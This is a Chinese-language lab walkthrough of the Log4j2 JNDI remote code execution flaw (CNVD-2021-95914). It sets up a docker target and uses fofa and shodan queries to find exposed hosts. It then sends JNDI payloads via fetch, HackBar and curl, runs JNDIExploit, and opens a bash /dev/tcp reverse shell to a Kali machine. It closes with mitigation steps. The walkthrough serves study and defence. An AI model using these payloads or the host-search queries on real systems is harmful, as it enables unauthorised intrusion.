Apache Log4j2 RCE遠程代碼執行漏洞


Apache Log4j2 RCE遠程代碼執行漏洞

漏洞介紹

1、2021年12月10日,國家信息安全漏洞共享平台(CNVD)收錄了Apache Log4j2 遠程代碼執行漏洞(CNVD-2021-95914)。攻擊者利用該漏洞,可在未授權的情況下遠程執行代碼。目前,漏洞利用細節已公開,Apache官方已發布補丁修復該漏洞。

Apache Log4j2是一個基於Java的日志記錄組件,該日志組件被廣泛應用於業務系統開發,用以記錄程序輸入輸出日志信息,得益於其突出於其他日志的優勢:異步日志實現。是最受歡迎的於開發時的日志組件。

2021年11月24日,阿里雲安全團隊向Apache官方報告了Apache Log4j2 遠程代碼執行漏洞。由於Log4j2 組件在處理程序日志記錄時存在JNDI 注入缺陷,未經授權的攻擊者利用該漏洞,可向目標服務器發送精心構造的惡意數據,觸發Log4j2 組件解析缺陷,實現目標服務器的任意代碼執行,獲得目標服務器權限。

漏洞原理

1、Log4j2日志

2、log4j2 提供了 lookups

不過log4j2並不滿足上面的功能,他們提供了一種叫lookups的功能log4j2的lookups說明

hello ${java:os}hello ${java:vm},而是當前服務的操作系統信息和虛擬機信息。其實如果僅僅是這樣,那也算不上什么漏洞,只能說功能強大而已。

3、還支持JNDI Lookup、RMI遠程調用

可以通過JNDI引入目錄資源,進行加載class執行代碼。也可以通過RMI遠程調用資源。

漏洞影響

影響版本:Apache Log4j2.x <= 2.14.1

已知受影響:srping-boot-strater-log4j2、Apache Solr、Apache Flink、Apache Druid、Apache Struts2...

搜索漏洞語法

fofa搜索語法:

app="Log4j2"

shodan搜索語法:

Server: Log4j2

搭建漏洞docker環境

目標:centos7

IP:192.168.110.133

攻擊機:kali linux

IP:192.168.110.141

下載docker漏洞鏡像文件

sudo docker pull vulfocus/log4j2-rce-2021-12-09:latest
sudo docker run -itd -p 8080:8080 vulfocus/log4j2-rce-2021-12-09:latest

進入shell命令
sudo docker exec -it 5500411a2fac(容器id)

Payload配合DNSLog檢測

先去DNSLog生成域名:zigsvm.dnslog.cn

JS POST POC請求

fetch(new Request('url',{
method:'POST', 
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body:"payload=${jndi:ldap://zigsvm.dnslog.cn./exp}"
})).then((resp)=>{console.log(resp)})

構建:

fetch(new Request('http://192.168.110.133:8080/hello',{
method:'POST', 
headers: {'Content-Type': 'application/x-www-form-urlencoded'},
body:"payload=${jndi:ldap://zigsvm.dnslog.cn./exp}"
})).then((resp)=>{console.log(resp)})

響應200,說明存在該漏洞。再看看DNSLog的請求

HackBar構建POC

目標:http://192.168.110.133:8080/hello

POST payload:

payload=${jndi:ldap://zigsvm.dnslog.cn./exp}

JNDIEXPloit工具Getshell

基礎環境

kali linux:192.168.110.141

Centos7:192.168.110.133

wget https://github.com/Mr-xn/JNDIExploit-1/releases/download/v1.2/JNDIExploit.v1.2.zip
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u

攻擊機安裝JAVA環境

(這里是Centos7目標機,可以不安。我這里是在Kali linux安裝的)

yum install -y java-1.8*
java -jar JNDIExploit-1.2-SNAPSHOT.jar -u

ldap://null:1389/TomcatBypass/Command/Base64/[base64_encoded_cmd]

配置監聽

java -jar JNDIExploit-1.2-SNAPSHOT.jar -i 192.168.110.141 -p 9090

指定監聽9090端口

開始監聽LDAP Server服務

再加上一個HTTP server服務

命令執行輸出文件

測試payload語句

修整下payload,特殊字符需要通過url編碼,尤其像+號需要通過雙重URL編碼,不然就會被當作連接符。

初始payload:
ZWNobyAiMTIzOTg3IiA+IC90bXAvdGVzdC50eHQ=

url編碼后payload:
ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D

構造payload

${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/ZWNobyAiMTIzOTg3IiA%252BIC90bXAvdGVzdC50eHQ%3D}

抓包獲取請求包:

提交一個js post請求數據包,然后用burpsuite抓取

發送到Repeater模塊去測試payload:

請求成功200,看看監聽

payload正常。

接下來去docker容器看看

沒有文件,直接反彈shell看看。

反彈shell

payload:

bash -i >& /dev/tcp/192.168.110.141/9797 0>&1

bash64編碼:
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx

url編碼:
YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx

kali linux設置好監聽:

nc -lvvp 9797

抓包重新發送看看:

shell彈過來了:

curl命令請求

curl -X POST --data "payload=${jndi:ldap://192.168.110.141:1389/TomcatBypass/Command/Base64/YmFzaCAtaSA%252BJiAvZGV2L3RjcC8xOTIuMTY4LjExMC4xNDEvOTc5NyAwPiYx}" http://192.168.110.133:8080/hello

BurpSuite被動掃描插件Log4j2Scan

https://github.com/pochubs/Log4j2Scan-1.git

自己編譯下

mvn package

加入到java插件中

配置好一些API

然后看Dashoard這個模塊即可

修復建議

  1. 升級Apache Log4j2所有相關應用到最新的 log4j-2.15.0-rc2 版本,地址:https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2

  2. 升級已知受影響的應用及組件,如srping-boot-strater-log4j2/Apache Solr/Apache Flink/Apache Druid

  3. jvm參數 -Dlog4j2.formatMsgNoLookups=true

  4. log4j2.formatMsgNoLookups=True

  5. 系統環境變量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 設置為true

  6. 禁止使用log4j的服務器外連出網

  7. 使用高版本jdk(如jdk11.0.1、8u191、7u201、6u211或更高版本),因為高版本jdk默認無法利用jndi注入,可在一定程度上限制JNDI等漏洞利用方式。


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM